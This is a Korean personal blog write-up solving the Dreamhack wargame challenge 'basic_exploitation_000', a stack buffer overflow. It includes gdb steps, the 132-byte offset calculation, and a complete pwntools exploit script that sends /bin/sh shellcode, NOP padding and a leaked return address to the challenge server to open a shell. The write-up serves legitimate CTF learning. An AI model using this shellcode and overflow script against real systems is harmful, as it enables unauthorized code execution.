학습 기록일지

Dreamhack - basic_exploitation_000 본문

워게임/포너블

Dreamhack - basic_exploitation_000

KRMP 2021. 5. 20. 19:32

포너블 기초문제 basic exploition 000 풀이

삽질 4일째

 

실행환경 > 다음에 파이썬 2.x로 실행해보자

- 데비안 64비트

- python 3.9+

- pwntools 4.5.0

 

 

파이썬 3.9에선 문자열을 전송할 때 byte로 전송해줘야 한다.

예를들어 \x90 같은 의미없는 값을 넣을때에도...

 

"", '' 앞에 b를 붙여 b"" 로 사용하면 바이트 객체가된다.

ex) b"\x11\x22\x33\x44\x55"    OR    "asdf".encode('euc-kr')     "asdf".encode('utf-8')

ex2) b"\x90"*120

 

p32함수는 Int형만 먹는다.

p32("0x12345678") > equired argument is not an integer 에러

p32(0x12345678) > 정상동작 (이게 왜 int형임?)

 

 

문제시작

 

아래는 해당 문제 소스코드이다.

basic_exploition_000.c

접속하게되면 주소를 보내주며, 몇초 후 종료된다

nc로 접속했을 때

 

디버거로 접속 

main함수

b main

x/100wx $esp

위 스샷에 메인함수의 리턴주소는 0xf7de9e46 

 

scanf에 브포를 걸고 실행

continue 

본격적으로 함수가 돌면서 0xffffd0d8이란 주소 출력

 

main함수 내 scanf에 브포를 검

 

A 문자열을 쭉 입력받았을 때 아래 리턴 주소가 보인다.

 

저 시점에 출력된 주소를 $esp와 비교해본다

따라서 출력되는 주소와 리턴 주소까지의 거리는 약 132byte이고, 출력된 주소를 리턴 주소에 넣어줘서 코드를 작성한다.

 

구조 : ( SHELL + ("\x90"*(132 - len(SHELL)) + 리턴주소 ) 가 된다.

 

== 코드 ==

from pwn import *                  #pwn 임포트

p = remote("host1.dreamhack.games",13228)      #nc명령에 따라 remote명령으로 연결.  telnet 은 안되네?

str = p.recvuntil("\n")      #p가 출력하는 데이터 저장    : \n까지 저장
str1 = str[9:17]               # 문자열이 buf = (0x12345678) 이런식으로 들어오는데 0x부분부터 잘라줬다
                                   # type = str
a = int(str1, 16)              # type = int

shell = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"             # 셸코드 작성  1�Phn/shh//bi��1�1��@@@��


print("====")
str3 = p32(a)                  # a가 Int형으로 변환됬었는데 p32로 다시 

print(shell+(b"\x90"*(132-len(shell)))+str3)
p.send(shell+(b"\x90"*(132-len(shell)))+str3)      # shell코드 + 여백(132) + 리턴주소


p.interactive()                                              # 사용자가 상호작용 가능하게

== 코드 끝 ==

 

 

== 결과 ==

shell코드가 틀려서 뻘짓 4일간 진행.
셸코드 작성법 다시공부해야겠다

 

더 자세한건 USB참고

 

 

1)간단한 pwntools 사용법과 셸코드 작성법에 대해서 배웠다.

2)이 문제에 약 5일정도 썼는데 4일간 셸코드문제로 삽질을했다 > 공부하자

>>> 어셈블리 작성 : https://defuse.ca/online-x86-assembler.htm#disassembly

 

 

에러1) p32("0x12345678") 할때 나는 에러 > p32(int형)
> required argument is not an integer


에러2) "\x90" > b"\x90"    : python3에서 저렇게 사용
> can only concatenate str (not "bytes") to str

 

'워게임 > 포너블' 카테고리의 다른 글

Dreamhack - Sint  (0) 2021.06.17
Dreamhack - out_of_bound  (0) 2021.06.14
Dreamhack - off_bye_one_000  (0) 2021.06.10
Dreamhack - basic_exploition_003  (0) 2021.06.07
Dreamhack - basic_exploitation_001  (0) 2021.05.26